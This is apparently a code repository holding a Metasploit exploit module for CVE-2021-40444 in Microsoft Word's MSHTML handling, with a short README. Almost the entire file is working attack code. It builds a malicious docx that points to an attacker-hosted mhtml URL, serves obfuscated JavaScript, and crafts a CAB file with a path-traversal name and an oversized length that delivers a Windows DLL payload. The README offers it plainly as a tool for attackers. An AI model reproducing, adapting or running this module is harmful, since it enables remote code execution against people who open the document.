├── Microsoft-Office-Word-MSHTML_Exploit.rb └── README.md /Microsoft-Office-Word-MSHTML_Exploit.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | class MetasploitModule < Msf::Exploit::Remote 7 | Rank = ExcellentRanking 8 | 9 | include Msf::Exploit::FILEFORMAT 10 | include Msf::Exploit::Remote::HttpServer::HTML 11 | 12 | def initialize(info = {}) 13 | super( 14 | update_info( 15 | info, 16 | 'Name' => 'Microsoft Office Word Malicious MSHTML RCE', 17 | 'Description' => %q{ 18 | This module creates a malicious docx file that when opened in Word on a vulnerable Windows 19 | system will lead to code execution. This vulnerability exists because an attacker can 20 | craft a malicious ActiveX control to be used by a Microsoft Office document that hosts 21 | the browser rendering engine. 22 | }, 23 | 'References' => [ 24 | ['CVE', '2021-40444'], 25 | ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'], 26 | ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'], 27 | ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'], 28 | ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'], 29 | ['URL', 'https://github.com/klezVirus/CVE-2021-40444'] 30 | ], 31 | 'Author' => [ 32 | 'lockedbyte ', # Vulnerability discovery. 33 | 'klezVirus ', # References and PoC. 34 | 'thesunRider', # Official Metasploit module. 35 | 'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring. 36 | ], 37 | 'DisclosureDate' => '2021-09-23', 38 | 'License' => MSF_LICENSE, 39 | 'Privileged' => false, 40 | 'Platform' => 'win', 41 | 'Arch' => [ARCH_X64], 42 | 'Payload' => { 43 | 'DisableNops' => true 44 | }, 45 | 'DefaultOptions' => { 46 | 'FILENAME' => 'msf.docx' 47 | }, 48 | 'Targets' => [ 49 | [ 50 | 'Hosted', {} 51 | ] 52 | ], 53 | 'DefaultTarget' => 0, 54 | 'Notes' => { 55 | 'Stability' => [CRASH_SAFE], 56 | 'Reliability' => [UNRELIABLE_SESSION], 57 | 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] 58 | } 59 | ) 60 | ) 61 | 62 | register_options([ 63 | OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true]) 64 | ]) 65 | register_advanced_options([ 66 | OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]), 67 | ]) 68 | end 69 | 70 | def bin_to_hex(bstr) 71 | return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join) 72 | end 73 | 74 | def cab_checksum(data, seed = "\x00\x00\x00\x00") 75 | checksum = seed 76 | 77 | bytes = '' 78 | data.chars.each_slice(4).map(&:join).each do |dword| 79 | if dword.length == 4 80 | checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*') 81 | else 82 | bytes = dword 83 | end 84 | end 85 | checksum = checksum.reverse 86 | 87 | case (data.length % 4) 88 | when 3 89 | dword = "\x00#{bytes}" 90 | when 2 91 | dword = "\x00\x00#{bytes}" 92 | when 1 93 | dword = "\x00\x00\x00#{bytes}" 94 | else 95 | dword = "\x00\x00\x00\x00" 96 | end 97 | 98 | checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse 99 | end 100 | 101 | # http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf 102 | def create_cab(data) 103 | cab_cfdata = '' 104 | filename = "../#{File.basename(@my_resources.first)}.inf" 105 | block_size = 32768 106 | struct_cffile = 0xd 107 | struct_cfheader = 0x30 108 | 109 | block_counter = 0 110 | data.chars.each_slice(block_size).map(&:join).each do |block| 111 | block_counter += 1 112 | 113 | seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}" 114 | csum = cab_checksum(block, seed) 115 | 116 | vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}") 117 | cab_cfdata << csum # uint32 {4} - Checksum 118 | cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length 119 | cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length 120 | cab_cfdata << block 121 | end 122 | 123 | cab_size = [ 124 | struct_cfheader + 125 | struct_cffile + 126 | filename.length + 127 | cab_cfdata.length 128 | ].pack('L<') 129 | 130 | # CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB) 131 | cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF) 132 | cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null) 133 | cab_header << cab_size # uint32 {4} - Archive Length 134 | cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null) 135 | 136 | cab_header << "\x2C\x00\x00\x00" # uint32 {4} - Offset to the first CFFILE 137 | cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null) 138 | cab_header << "\x03" # byte {1} - Minor Version (3) 139 | cab_header << "\x01" # byte {1} - Major Version (1) 140 | cab_header << "\x01\x00" # uint16 {2} - Number of Folders 141 | cab_header << "\x01\x00" # uint16 {2} - Number of Files 142 | cab_header << "\x00\x00" # uint16 {2} - Flags 143 | 144 | cab_header << "\xD2\x04" # uint16 {2} - Cabinet Set ID Number 145 | cab_header << "\x00\x00" # uint16 {2} - Sequential Number of this Cabinet file in a Set 146 | 147 | # CFFOLDER 148 | cab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder 149 | struct_cfheader + 150 | struct_cffile + 151 | filename.length 152 | ].pack('L<') 153 | cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder 154 | cab_header << "\x00\x00" # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP) 155 | 156 | # increase file size to trigger vulnerability 157 | cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41") 158 | data.length + 1073741824 159 | ].pack('L<') 160 | 161 | # set current date and time in the format of cab file 162 | date_time = Time.new 163 | date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S') 164 | time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S') 165 | 166 | # CFFILE 167 | cab_header << "\x00\x00\x00\x00" # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder) 168 | cab_header << "\x00\x00" # uint16 {2} - Folder ID (starts at 0) 169 | cab_header << date # uint16 {2} - File Date (\x5A\x53) 170 | cab_header << time # uint16 {2} - File Time (\xC3\x5C) 171 | cab_header << "\x20\x00" # uint16 {2} - File Attributes 172 | cab_header << filename # byte {X} - Filename (ASCII) 173 | cab_header << "\x00" # byte {1} - null Filename Terminator 174 | 175 | cab_stream = cab_header 176 | 177 | # CFDATA 178 | cab_stream << cab_cfdata 179 | end 180 | 181 | def generate_html 182 | uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab" 183 | inf = "#{File.basename(@my_resources.first)}.inf" 184 | 185 | file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js') 186 | js_content = ::File.binread(file_path) 187 | 188 | js_content.gsub!('REPLACE_INF', inf) 189 | js_content.gsub!('REPLACE_URI', uri) 190 | if datastore['OBFUSCATE'] 191 | print_status('Obfuscate JavaScript content') 192 | 193 | js_content = Rex::Exploitation::JSObfu.new js_content 194 | js_content = js_content.obfuscate(memory_sensitive: false) 195 | end 196 | 197 | html = '
' 200 | html 201 | end 202 | 203 | def get_file_in_docx(fname) 204 | i = @docx.find_index { |item| item[:fname] == fname } 205 | 206 | unless i 207 | fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}") 208 | end 209 | 210 | @docx.fetch(i)[:data] 211 | end 212 | 213 | def get_template_path 214 | datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx') 215 | end 216 | 217 | def inject_docx 218 | document_xml = get_file_in_docx('word/document.xml') 219 | unless document_xml 220 | fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml') 221 | end 222 | 223 | document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels') 224 | unless document_xml_rels 225 | fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels') 226 | end 227 | 228 | uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html" 229 | @docx.each do |entry| 230 | case entry[:fname] 231 | when 'word/document.xml' 232 | entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s) 233 | when 'word/_rels/document.xml.rels' 234 | entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}") 235 | end 236 | end 237 | end 238 | 239 | def normalize_uri(*strs) 240 | new_str = strs * '/' 241 | 242 | new_str = new_str.gsub!('//', '/') while new_str.index('//') 243 | 244 | # makes sure there's a starting slash 245 | unless new_str[0, 1] == '/' 246 | new_str = '/' + new_str 247 | end 248 | 249 | new_str 250 | end 251 | 252 | def on_request_uri(cli, request) 253 | header_cab = { 254 | 'Access-Control-Allow-Origin' => '*', 255 | 'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS', 256 | 'Cache-Control' => 'no-store, no-cache, must-revalidate', 257 | 'Content-Type' => 'application/octet-stream', 258 | 'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab" 259 | } 260 | 261 | header_html = { 262 | 'Access-Control-Allow-Origin' => '*', 263 | 'Access-Control-Allow-Methods' => 'GET, POST', 264 | 'Cache-Control' => 'no-store, no-cache, must-revalidate', 265 | 'Content-Type' => 'text/html; charset=UTF-8' 266 | } 267 | 268 | if request.method.eql? 'HEAD' 269 | if request.raw_uri.to_s.end_with? '.cab' 270 | send_response(cli, '', header_cab) 271 | else 272 | send_response(cli, '', header_html) 273 | end 274 | elsif request.method.eql? 'OPTIONS' 275 | response = create_response(501, 'Unsupported Method') 276 | response['Content-Type'] = 'text/html' 277 | response.body = '' 278 | 279 | cli.send_response(response) 280 | elsif request.raw_uri.to_s.end_with? '.html' 281 | print_status('Sending HTML Payload') 282 | 283 | send_response_html(cli, generate_html, header_html) 284 | elsif request.raw_uri.to_s.end_with? '.cab' 285 | print_status('Sending CAB Payload') 286 | 287 | send_response(cli, create_cab(@dll_payload), header_cab) 288 | end 289 | end 290 | 291 | def pack_docx 292 | @docx.each do |entry| 293 | if entry[:data].is_a?(Nokogiri::XML::Document) 294 | entry[:data] = entry[:data].to_s 295 | end 296 | end 297 | 298 | Msf::Util::EXE.to_zip(@docx) 299 | end 300 | 301 | def unpack_docx(template_path) 302 | document = [] 303 | 304 | Zip::File.open(template_path) do |entries| 305 | entries.each do |entry| 306 | if entry.name.match(/\.xml|\.rels$/i) 307 | content = Nokogiri::XML(entry.get_input_stream.read) if entry.file? 308 | elsif entry.file? 309 | content = entry.get_input_stream.read 310 | end 311 | 312 | vprint_status("Parsing item from template: #{entry.name}") 313 | 314 | document << { fname: entry.name, data: content } 315 | end 316 | end 317 | 318 | document 319 | end 320 | 321 | def primer 322 | print_status('CVE-2021-40444: Generate a malicious docx file') 323 | 324 | @proto = (datastore['SSL'] ? 'https' : 'http') 325 | if datastore['SRVHOST'] == '0.0.0.0' 326 | datastore['SRVHOST'] = Rex::Socket.source_address 327 | end 328 | 329 | template_path = get_template_path 330 | unless File.extname(template_path).match(/\.docx$/i) 331 | fail_with(Failure::BadConfig, 'Template is not a docx file!') 332 | end 333 | 334 | print_status("Using template '#{template_path}'") 335 | @docx = unpack_docx(template_path) 336 | 337 | print_status('Injecting payload in docx document') 338 | inject_docx 339 | 340 | print_status("Finalizing docx '#{datastore['FILENAME']}'") 341 | file_create(pack_docx) 342 | 343 | @dll_payload = Msf::Util::EXE.to_win64pe_dll( 344 | framework, 345 | payload.encoded, 346 | { 347 | arch: payload.arch.first, 348 | mixed_mode: true, 349 | platform: 'win' 350 | } 351 | ) 352 | end 353 | end -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit 2 | 3 | # CVE-2021-40444 4 | 5 | **EXPLOIT TO USE IN METASPLOIT, ALLOWS ATTACKERS TO GET AN REMOTE CODE EXECUTION THROUGH MICROSOFT OFFICE WORD BY INJECTING MALICIOUS CODE IN THE FILE** 6 | --------------------------------------------------------------------------------